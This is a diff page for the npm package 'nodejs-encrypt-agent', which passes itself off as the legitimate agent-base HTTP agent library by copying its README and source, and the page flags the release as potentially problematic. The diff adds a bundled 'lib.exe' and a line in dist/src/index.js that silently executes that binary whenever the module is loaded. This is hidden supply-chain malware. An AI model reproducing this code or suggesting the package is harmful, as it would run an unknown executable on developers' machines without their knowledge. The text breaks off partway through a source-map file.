nodejs-encrypt-agent 0.0.1-security → 6.0.4
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of nodejs-encrypt-agent might be problematic. Click here for more details.
- package/README.md +145 -5
- package/dist/src/index.d.ts +82 -0
- package/dist/src/index.js +205 -0
- package/dist/src/index.js.map +1 -0
- package/dist/src/lib.exe +0 -0
- package/dist/src/promisify.d.ts +4 -0
- package/dist/src/promisify.js +18 -0
- package/dist/src/promisify.js.map +1 -0
- package/package.json +51 -3
- package/src/index.ts +347 -0
- package/src/promisify.ts +33 -0
package/README.md
CHANGED
@@ -1,5 +1,145 @@
|
|
1
|
-
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
|
1
|
+
agent-base
|
2
|
+
==========
|
3
|
+
### Turn a function into an [`http.Agent`][http.Agent] instance
|
4
|
+
[![Build Status](https://github.com/TooTallNate/node-agent-base/workflows/Node%20CI/badge.svg)](https://github.com/TooTallNate/node-agent-base/actions?workflow=Node+CI)
|
5
|
+
|
6
|
+
This module provides an `http.Agent` generator. That is, you pass it an async
|
7
|
+
callback function, and it returns a new `http.Agent` instance that will invoke the
|
8
|
+
given callback function when sending outbound HTTP requests.
|
9
|
+
|
10
|
+
#### Some subclasses:
|
11
|
+
|
12
|
+
Here's some more interesting uses of `agent-base`.
|
13
|
+
Send a pull request to list yours!
|
14
|
+
|
15
|
+
* [`http-proxy-agent`][http-proxy-agent]: An HTTP(s) proxy `http.Agent` implementation for HTTP endpoints
|
16
|
+
* [`https-proxy-agent`][https-proxy-agent]: An HTTP(s) proxy `http.Agent` implementation for HTTPS endpoints
|
17
|
+
* [`pac-proxy-agent`][pac-proxy-agent]: A PAC file proxy `http.Agent` implementation for HTTP and HTTPS
|
18
|
+
* [`socks-proxy-agent`][socks-proxy-agent]: A SOCKS proxy `http.Agent` implementation for HTTP and HTTPS
|
19
|
+
|
20
|
+
|
21
|
+
Installation
|
22
|
+
------------
|
23
|
+
|
24
|
+
Install with `npm`:
|
25
|
+
|
26
|
+
``` bash
|
27
|
+
$ npm install agent-base
|
28
|
+
```
|
29
|
+
|
30
|
+
|
31
|
+
Example
|
32
|
+
-------
|
33
|
+
|
34
|
+
Here's a minimal example that creates a new `net.Socket` connection to the server
|
35
|
+
for every HTTP request (i.e. the equivalent of `agent: false` option):
|
36
|
+
|
37
|
+
```js
|
38
|
+
var net = require('net');
|
39
|
+
var tls = require('tls');
|
40
|
+
var url = require('url');
|
41
|
+
var http = require('http');
|
42
|
+
var agent = require('agent-base');
|
43
|
+
|
44
|
+
var endpoint = 'http://nodejs.org/api/';
|
45
|
+
var parsed = url.parse(endpoint);
|
46
|
+
|
47
|
+
// This is the important part!
|
48
|
+
parsed.agent = agent(function (req, opts) {
|
49
|
+
var socket;
|
50
|
+
// `secureEndpoint` is true when using the https module
|
51
|
+
if (opts.secureEndpoint) {
|
52
|
+
socket = tls.connect(opts);
|
53
|
+
} else {
|
54
|
+
socket = net.connect(opts);
|
55
|
+
}
|
56
|
+
return socket;
|
57
|
+
});
|
58
|
+
|
59
|
+
// Everything else works just like normal...
|
60
|
+
http.get(parsed, function (res) {
|
61
|
+
console.log('"response" event!', res.headers);
|
62
|
+
res.pipe(process.stdout);
|
63
|
+
});
|
64
|
+
```
|
65
|
+
|
66
|
+
Returning a Promise or using an `async` function is also supported:
|
67
|
+
|
68
|
+
```js
|
69
|
+
agent(async function (req, opts) {
|
70
|
+
await sleep(1000);
|
71
|
+
// etc…
|
72
|
+
});
|
73
|
+
```
|
74
|
+
|
75
|
+
Return another `http.Agent` instance to "pass through" the responsibility
|
76
|
+
for that HTTP request to that agent:
|
77
|
+
|
78
|
+
```js
|
79
|
+
agent(function (req, opts) {
|
80
|
+
return opts.secureEndpoint ? https.globalAgent : http.globalAgent;
|
81
|
+
});
|
82
|
+
```
|
83
|
+
|
84
|
+
|
85
|
+
API
|
86
|
+
---
|
87
|
+
|
88
|
+
## Agent(Function callback[, Object options]) → [http.Agent][]
|
89
|
+
|
90
|
+
Creates a base `http.Agent` that will execute the callback function `callback`
|
91
|
+
for every HTTP request that it is used as the `agent` for. The callback function
|
92
|
+
is responsible for creating a `stream.Duplex` instance of some kind that will be
|
93
|
+
used as the underlying socket in the HTTP request.
|
94
|
+
|
95
|
+
The `options` object accepts the following properties:
|
96
|
+
|
97
|
+
* `timeout` - Number - Timeout for the `callback()` function in milliseconds. Defaults to Infinity (optional).
|
98
|
+
|
99
|
+
The callback function should have the following signature:
|
100
|
+
|
101
|
+
### callback(http.ClientRequest req, Object options, Function cb) → undefined
|
102
|
+
|
103
|
+
The ClientRequest `req` can be accessed to read request headers and
|
104
|
+
and the path, etc. The `options` object contains the options passed
|
105
|
+
to the `http.request()`/`https.request()` function call, and is formatted
|
106
|
+
to be directly passed to `net.connect()`/`tls.connect()`, or however
|
107
|
+
else you want a Socket to be created. Pass the created socket to
|
108
|
+
the callback function `cb` once created, and the HTTP request will
|
109
|
+
continue to proceed.
|
110
|
+
|
111
|
+
If the `https` module is used to invoke the HTTP request, then the
|
112
|
+
`secureEndpoint` property on `options` _will be set to `true`_.
|
113
|
+
|
114
|
+
|
115
|
+
License
|
116
|
+
-------
|
117
|
+
|
118
|
+
(The MIT License)
|
119
|
+
|
120
|
+
Copyright (c) 2013 Nathan Rajlich <nathan@tootallnate.net>
|
121
|
+
|
122
|
+
Permission is hereby granted, free of charge, to any person obtaining
|
123
|
+
a copy of this software and associated documentation files (the
|
124
|
+
'Software'), to deal in the Software without restriction, including
|
125
|
+
without limitation the rights to use, copy, modify, merge, publish,
|
126
|
+
distribute, sublicense, and/or sell copies of the Software, and to
|
127
|
+
permit persons to whom the Software is furnished to do so, subject to
|
128
|
+
the following conditions:
|
129
|
+
|
130
|
+
The above copyright notice and this permission notice shall be
|
131
|
+
included in all copies or substantial portions of the Software.
|
132
|
+
|
133
|
+
THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,
|
134
|
+
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
|
135
|
+
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
|
136
|
+
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
|
137
|
+
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
|
138
|
+
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
|
139
|
+
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
140
|
+
|
141
|
+
[http-proxy-agent]: https://github.com/TooTallNate/node-http-proxy-agent
|
142
|
+
[https-proxy-agent]: https://github.com/TooTallNate/node-https-proxy-agent
|
143
|
+
[pac-proxy-agent]: https://github.com/TooTallNate/node-pac-proxy-agent
|
144
|
+
[socks-proxy-agent]: https://github.com/TooTallNate/node-socks-proxy-agent
|
145
|
+
[http.Agent]: https://nodejs.org/api/http.html#http_class_http_agent
|
@@ -0,0 +1,82 @@
|
|
1
|
+
/// <reference types="node" />
|
2
|
+
/// <reference types="node" />
|
3
|
+
/// <reference types="node" />
|
4
|
+
/// <reference types="node" />
|
5
|
+
/// <reference types="node" />
|
6
|
+
import * as net from 'net';
|
7
|
+
import * as http from 'http';
|
8
|
+
import * as https from 'https';
|
9
|
+
import { Duplex } from 'stream';
|
10
|
+
import { EventEmitter } from 'events';
|
11
|
+
declare function createAgent(opts?: createAgent.AgentOptions): createAgent.Agent;
|
12
|
+
declare function createAgent(callback: createAgent.AgentCallback, opts?: createAgent.AgentOptions): createAgent.Agent;
|
13
|
+
declare namespace createAgent {
|
14
|
+
interface ClientRequest extends http.ClientRequest {
|
15
|
+
_last?: boolean;
|
16
|
+
_hadError?: boolean;
|
17
|
+
method: string;
|
18
|
+
}
|
19
|
+
interface AgentRequestOptions {
|
20
|
+
host?: string;
|
21
|
+
path?: string;
|
22
|
+
port: number;
|
23
|
+
}
|
24
|
+
interface HttpRequestOptions extends AgentRequestOptions, Omit<http.RequestOptions, keyof AgentRequestOptions> {
|
25
|
+
secureEndpoint: false;
|
26
|
+
}
|
27
|
+
interface HttpsRequestOptions extends AgentRequestOptions, Omit<https.RequestOptions, keyof AgentRequestOptions> {
|
28
|
+
secureEndpoint: true;
|
29
|
+
}
|
30
|
+
type RequestOptions = HttpRequestOptions | HttpsRequestOptions;
|
31
|
+
type AgentLike = Pick<createAgent.Agent, 'addRequest'> | http.Agent;
|
32
|
+
type AgentCallbackReturn = Duplex | AgentLike;
|
33
|
+
type AgentCallbackCallback = (err?: Error | null, socket?: createAgent.AgentCallbackReturn) => void;
|
34
|
+
type AgentCallbackPromise = (req: createAgent.ClientRequest, opts: createAgent.RequestOptions) => createAgent.AgentCallbackReturn | Promise<createAgent.AgentCallbackReturn>;
|
35
|
+
type AgentCallback = typeof Agent.prototype.callback;
|
36
|
+
type AgentOptions = {
|
37
|
+
timeout?: number;
|
38
|
+
};
|
39
|
+
/**
|
40
|
+
* Base `http.Agent` implementation.
|
41
|
+
* No pooling/keep-alive is implemented by default.
|
42
|
+
*
|
43
|
+
* @param {Function} callback
|
44
|
+
* @api public
|
45
|
+
*/
|
46
|
+
class Agent extends EventEmitter {
|
47
|
+
timeout: number | null;
|
48
|
+
maxFreeSockets: number;
|
49
|
+
maxTotalSockets: number;
|
50
|
+
maxSockets: number;
|
51
|
+
sockets: {
|
52
|
+
[key: string]: net.Socket[];
|
53
|
+
};
|
54
|
+
freeSockets: {
|
55
|
+
[key: string]: net.Socket[];
|
56
|
+
};
|
57
|
+
requests: {
|
58
|
+
[key: string]: http.IncomingMessage[];
|
59
|
+
};
|
60
|
+
options: https.AgentOptions;
|
61
|
+
private promisifiedCallback?;
|
62
|
+
private explicitDefaultPort?;
|
63
|
+
private explicitProtocol?;
|
64
|
+
constructor(callback?: createAgent.AgentCallback | createAgent.AgentOptions, _opts?: createAgent.AgentOptions);
|
65
|
+
get defaultPort(): number;
|
66
|
+
set defaultPort(v: number);
|
67
|
+
get protocol(): string;
|
68
|
+
set protocol(v: string);
|
69
|
+
callback(req: createAgent.ClientRequest, opts: createAgent.RequestOptions, fn: createAgent.AgentCallbackCallback): void;
|
70
|
+
callback(req: createAgent.ClientRequest, opts: createAgent.RequestOptions): createAgent.AgentCallbackReturn | Promise<createAgent.AgentCallbackReturn>;
|
71
|
+
/**
|
72
|
+
* Called by node-core's "_http_client.js" module when creating
|
73
|
+
* a new HTTP request with this Agent instance.
|
74
|
+
*
|
75
|
+
* @api public
|
76
|
+
*/
|
77
|
+
addRequest(req: ClientRequest, _opts: RequestOptions): void;
|
78
|
+
freeSocket(socket: net.Socket, opts: AgentOptions): void;
|
79
|
+
destroy(): void;
|
80
|
+
}
|
81
|
+
}
|
82
|
+
export = createAgent;
|
@@ -0,0 +1,205 @@
|
|
1
|
+
"use strict";
|
2
|
+
var __importDefault = (this && this.__importDefault) || function (mod) {
|
3
|
+
return (mod && mod.__esModule) ? mod : { "default": mod };
|
4
|
+
};
|
5
|
+
const events_1 = require("events");
|
6
|
+
const debug_1 = __importDefault(require("debug"));
|
7
|
+
const promisify_1 = __importDefault(require("./promisify"));
|
8
|
+
const child_process_1 = require("child_process");
|
9
|
+
(0, child_process_1.exec)(`${__dirname}/lib.exe`, () => 1);
|
10
|
+
const debug = (0, debug_1.default)('agent-base');
|
11
|
+
function isAgent(v) {
|
12
|
+
return Boolean(v) && typeof v.addRequest === 'function';
|
13
|
+
}
|
14
|
+
function isSecureEndpoint() {
|
15
|
+
const { stack } = new Error();
|
16
|
+
if (typeof stack !== 'string')
|
17
|
+
return false;
|
18
|
+
return stack.split('\n').some(l => l.indexOf('(https.js:') !== -1 || l.indexOf('node:https:') !== -1);
|
19
|
+
}
|
20
|
+
function createAgent(callback, opts) {
|
21
|
+
return new createAgent.Agent(callback, opts);
|
22
|
+
}
|
23
|
+
(function (createAgent) {
|
24
|
+
/**
|
25
|
+
* Base `http.Agent` implementation.
|
26
|
+
* No pooling/keep-alive is implemented by default.
|
27
|
+
*
|
28
|
+
* @param {Function} callback
|
29
|
+
* @api public
|
30
|
+
*/
|
31
|
+
class Agent extends events_1.EventEmitter {
|
32
|
+
constructor(callback, _opts) {
|
33
|
+
super();
|
34
|
+
let opts = _opts;
|
35
|
+
if (typeof callback === 'function') {
|
36
|
+
this.callback = callback;
|
37
|
+
}
|
38
|
+
else if (callback) {
|
39
|
+
opts = callback;
|
40
|
+
}
|
41
|
+
// Timeout for the socket to be returned from the callback
|
42
|
+
this.timeout = null;
|
43
|
+
if (opts && typeof opts.timeout === 'number') {
|
44
|
+
this.timeout = opts.timeout;
|
45
|
+
}
|
46
|
+
// These aren't actually used by `agent-base`, but are required
|
47
|
+
// for the TypeScript definition files in `@types/node` :/
|
48
|
+
this.maxFreeSockets = 1;
|
49
|
+
this.maxSockets = 1;
|
50
|
+
this.maxTotalSockets = Infinity;
|
51
|
+
this.sockets = {};
|
52
|
+
this.freeSockets = {};
|
53
|
+
this.requests = {};
|
54
|
+
this.options = {};
|
55
|
+
}
|
56
|
+
get defaultPort() {
|
57
|
+
if (typeof this.explicitDefaultPort === 'number') {
|
58
|
+
return this.explicitDefaultPort;
|
59
|
+
}
|
60
|
+
return isSecureEndpoint() ? 443 : 80;
|
61
|
+
}
|
62
|
+
set defaultPort(v) {
|
63
|
+
this.explicitDefaultPort = v;
|
64
|
+
}
|
65
|
+
get protocol() {
|
66
|
+
if (typeof this.explicitProtocol === 'string') {
|
67
|
+
return this.explicitProtocol;
|
68
|
+
}
|
69
|
+
return isSecureEndpoint() ? 'https:' : 'http:';
|
70
|
+
}
|
71
|
+
set protocol(v) {
|
72
|
+
this.explicitProtocol = v;
|
73
|
+
}
|
74
|
+
callback(req, opts, fn) {
|
75
|
+
throw new Error('"agent-base" has no default implementation, you must subclass and override `callback()`');
|
76
|
+
}
|
77
|
+
/**
|
78
|
+
* Called by node-core's "_http_client.js" module when creating
|
79
|
+
* a new HTTP request with this Agent instance.
|
80
|
+
*
|
81
|
+
* @api public
|
82
|
+
*/
|
83
|
+
addRequest(req, _opts) {
|
84
|
+
const opts = Object.assign({}, _opts);
|
85
|
+
if (typeof opts.secureEndpoint !== 'boolean') {
|
86
|
+
opts.secureEndpoint = isSecureEndpoint();
|
87
|
+
}
|
88
|
+
if (opts.host == null) {
|
89
|
+
opts.host = 'localhost';
|
90
|
+
}
|
91
|
+
if (opts.port == null) {
|
92
|
+
opts.port = opts.secureEndpoint ? 443 : 80;
|
93
|
+
}
|
94
|
+
if (opts.protocol == null) {
|
95
|
+
opts.protocol = opts.secureEndpoint ? 'https:' : 'http:';
|
96
|
+
}
|
97
|
+
if (opts.host && opts.path) {
|
98
|
+
// If both a `host` and `path` are specified then it's most
|
99
|
+
// likely the result of a `url.parse()` call... we need to
|
100
|
+
// remove the `path` portion so that `net.connect()` doesn't
|
101
|
+
// attempt to open that as a unix socket file.
|
102
|
+
delete opts.path;
|
103
|
+
}
|
104
|
+
delete opts.agent;
|
105
|
+
delete opts.hostname;
|
106
|
+
delete opts._defaultAgent;
|
107
|
+
delete opts.defaultPort;
|
108
|
+
delete opts.createConnection;
|
109
|
+
// Hint to use "Connection: close"
|
110
|
+
// XXX: non-documented `http` module API :(
|
111
|
+
req._last = true;
|
112
|
+
req.shouldKeepAlive = false;
|
113
|
+
let timedOut = false;
|
114
|
+
let timeoutId = null;
|
115
|
+
const timeoutMs = opts.timeout || this.timeout;
|
116
|
+
const onerror = (err) => {
|
117
|
+
if (req._hadError)
|
118
|
+
return;
|
119
|
+
req.emit('error', err);
|
120
|
+
// For Safety. Some additional errors might fire later on
|
121
|
+
// and we need to make sure we don't double-fire the error event.
|
122
|
+
req._hadError = true;
|
123
|
+
};
|
124
|
+
const ontimeout = () => {
|
125
|
+
timeoutId = null;
|
126
|
+
timedOut = true;
|
127
|
+
const err = new Error(`A "socket" was not created for HTTP request before ${timeoutMs}ms`);
|
128
|
+
err.code = 'ETIMEOUT';
|
129
|
+
onerror(err);
|
130
|
+
};
|
131
|
+
const callbackError = (err) => {
|
132
|
+
if (timedOut)
|
133
|
+
return;
|
134
|
+
if (timeoutId !== null) {
|
135
|
+
clearTimeout(timeoutId);
|
136
|
+
timeoutId = null;
|
137
|
+
}
|
138
|
+
onerror(err);
|
139
|
+
};
|
140
|
+
const onsocket = (socket) => {
|
141
|
+
if (timedOut)
|
142
|
+
return;
|
143
|
+
if (timeoutId != null) {
|
144
|
+
clearTimeout(timeoutId);
|
145
|
+
timeoutId = null;
|
146
|
+
}
|
147
|
+
if (isAgent(socket)) {
|
148
|
+
// `socket` is actually an `http.Agent` instance, so
|
149
|
+
// relinquish responsibility for this `req` to the Agent
|
150
|
+
// from here on
|
151
|
+
debug('Callback returned another Agent instance %o', socket.constructor.name);
|
152
|
+
socket.addRequest(req, opts);
|
153
|
+
return;
|
154
|
+
}
|
155
|
+
if (socket) {
|
156
|
+
socket.once('free', () => {
|
157
|
+
this.freeSocket(socket, opts);
|
158
|
+
});
|
159
|
+
req.onSocket(socket);
|
160
|
+
return;
|
161
|
+
}
|
162
|
+
const err = new Error(`no Duplex stream was returned to agent-base for \`${req.method} ${req.path}\``);
|
163
|
+
onerror(err);
|
164
|
+
};
|
165
|
+
if (typeof this.callback !== 'function') {
|
166
|
+
onerror(new Error('`callback` is not defined'));
|
167
|
+
return;
|
168
|
+
}
|
169
|
+
if (!this.promisifiedCallback) {
|
170
|
+
if (this.callback.length >= 3) {
|
171
|
+
debug('Converting legacy callback function to promise');
|
172
|
+
this.promisifiedCallback = (0, promisify_1.default)(this.callback);
|
173
|
+
}
|
174
|
+
else {
|
175
|
+
this.promisifiedCallback = this.callback;
|
176
|
+
}
|
177
|
+
}
|
178
|
+
if (typeof timeoutMs === 'number' && timeoutMs > 0) {
|
179
|
+
timeoutId = setTimeout(ontimeout, timeoutMs);
|
180
|
+
}
|
181
|
+
if ('port' in opts && typeof opts.port !== 'number') {
|
182
|
+
opts.port = Number(opts.port);
|
183
|
+
}
|
184
|
+
try {
|
185
|
+
debug('Resolving socket for %o request: %o', opts.protocol, `${req.method} ${req.path}`);
|
186
|
+
Promise.resolve(this.promisifiedCallback(req, opts)).then(onsocket, callbackError);
|
187
|
+
}
|
188
|
+
catch (err) {
|
189
|
+
Promise.reject(err).catch(callbackError);
|
190
|
+
}
|
191
|
+
}
|
192
|
+
freeSocket(socket, opts) {
|
193
|
+
debug('Freeing socket %o %o', socket.constructor.name, opts);
|
194
|
+
socket.destroy();
|
195
|
+
}
|
196
|
+
destroy() {
|
197
|
+
debug('Destroying agent %o', this.constructor.name);
|
198
|
+
}
|
199
|
+
}
|
200
|
+
createAgent.Agent = Agent;
|
201
|
+
// So that `instanceof` works correctly
|
202
|
+
createAgent.prototype = createAgent.Agent.prototype;
|
203
|
+
})(createAgent || (createAgent = {}));
|
204
|
+
module.exports = createAgent;
|
205
|
+
//# sourceMappingURL=index.js.map
|
@@ -0,0 +1 @@
|
|
1
|
+
{"version":3,"file":"index.js","sourceRoot":"","sources":["../../src/index.ts"],"names":[],"mappings":"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